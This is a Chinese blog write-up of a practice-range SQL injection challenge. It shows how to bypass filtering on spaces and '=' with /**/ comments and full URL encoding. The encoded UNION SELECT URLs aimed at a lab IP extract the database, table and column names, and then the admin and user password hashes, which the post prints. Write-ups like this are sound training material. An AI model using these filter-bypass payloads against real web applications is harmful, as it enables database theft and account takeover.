WEB安全-SQL过滤字符后手工注入漏洞测试(第1题)
前言
这是SQL注入的第九篇,现在准备开始打一些没有做过,不是很有把握的题目,不能老是待在舒适圈,要在做中学,虽然很痛苦,但会很有收获
正文
看看题目
首先查看目标,这里涉及到字符串的URL的加解密以及注释符和判断符的区别,接下来会结合题目慢慢说
进入后情况和之前一样,还是那个公告栏,但是我发现当我正常判断闭合时,都被过滤,返回刚开始的网页
一个重要的问题
这个时候想起来之前的实训目标那里,涉及到过滤,所以百度找答案,看了别人的博客发现,这道题应该是过滤注入常用的字段以及空格和=,所以要进行URL编码的绕过
这里我看的空格是通过/**/进行绕过,而=可以用URL编码绕过,也可以用Like进行绕过
但是问题就出在URL编码过滤上,一般的URL在线解码和加码,如站长工具:https://tool.chinaz.com/tools/urlencode.aspx
这里如果进行编码 /**/order/**/by/**/4,编码后是这样 %2F**%2Forder%2F**%2Fby%2F**%2F4,我们仔细一看,发现并没有完全编码,所以导致无法绕过
这里找到两款支持完全编码的工具网页: http://web.chacuo.net/charseturlencode,但是这个网站如果频繁转换点击会被当做恶意攻击,会被封,出现这样的页面
所以我又找到一个网站,这个还是挺好用的:https://www.renfei.net/kitbox/url16
好了,基本的准备工作做好了,现在可以开始注入了
开始注入
首先这里判断闭合,发现字符型都不行,最后判断出是数字型,即没有闭合,注意这里所有的注入语句空格换成/**/,其他语句全部用上面的URL转换后输入
http://219.153.49.228:41013/new_list.php?id=1/%2a%2a/%61%6e%64/%2a%2a/%31=%32
PS:这里图片中的URL都是输入后网站跳转的结果,不是直接输入的注入语句,所有的注入语句都在代码块里面,都进行URL编码过
之后用or语句构造逻辑真,判断为数字型
http://219.153.49.228:41013/new_list.php?id=-1/%2a%2a/%6f%72/%2a%2a/%31=%31
判断列为4
http://219.153.49.228:41013/new_list.php?id=1/%2a%2a/%6f%72%64%65%72/%2a%2a/%62%79/%2a%2a/%34
找到回显为2和3,之后的注入源代码和之前的数字型注入一样,只是在上面的网站下进行了URL编码,对于源码不清楚的可以看之前的文章
http://219.153.49.228:41013/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%32%2c%33%2c%34
爆出数据库名为 mozhe_discuz_stormgroup
http://219.153.49.228:41013/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%33%2c%34
获取数据表为 notice,stormgroup_member
http://219.153.49.228:41013/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73/%2a%2a/%77%68%65%72%65/%2a%2a/%74%61%62%6c%65%5f%73%63%68%65%6d%61=%64%61%74%61%62%61%73%65%28%29
获取stormgroup_member的列名为 id,name,password,status
http://219.153.49.228:41013/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73/%2a%2a/%77%68%65%72%65/%2a%2a/%74%61%62%6c%65%5f%6e%61%6d%65=%27%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72%27
获取name和password为 mozhe,356f589a7df439f6f744ff19bb8092c0 ;mozhe,a6babd9eb561e9ffd6f5aad28851daa7 和 admin, 8c95fc687849b6bf48074e6c96e42bc4
http://219.153.49.228:41013/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%6e%61%6d%65%2c%30%78%37%65%2c%70%61%73%73%77%6f%72%64%29%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%6d%6f%7a%68%65%5f%64%69%73%63%75%7a%5f%73%74%6f%72%6d%67%72%6f%75%70%2e%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72
md5解密后获取账号密码,输入后获取key
总结
打靶场其实不是为了打靶而打靶,而是在做中学,其实我并没有完全靠自己的力量把这个靶场做出来,我也参考了很多博客以及做出来的人的思路,但在这个靶场中我学到了URL的完全编码以及有关过滤字符的坑,我觉得我有所收获,其实这就够了
这里普及一些URL知识:
Url编码:通常也被称为百分号编码(percent-encoding),是因为它的编码方式非常简单,使用%百分号加上两位的字符——123456789ABCDEF,代表一个字节的十六进制形式对应的ASCII字符,如字母 a 在ASCII码中对应十进制为97,对应的的字节是0x61,那么Url编码之后得到的就是%61,字母abc, url编码后得到的就是%61%62%63
对于非ASCII字符,RFC文档建议使用utf-8对其进行编码得到相应的字节,然后对每个字节执行百分号编码。如"中文"使用UTF-8字符集得到的字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url编码之后得到"%E4%B8%AD%E6%96%87"。
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15635326.html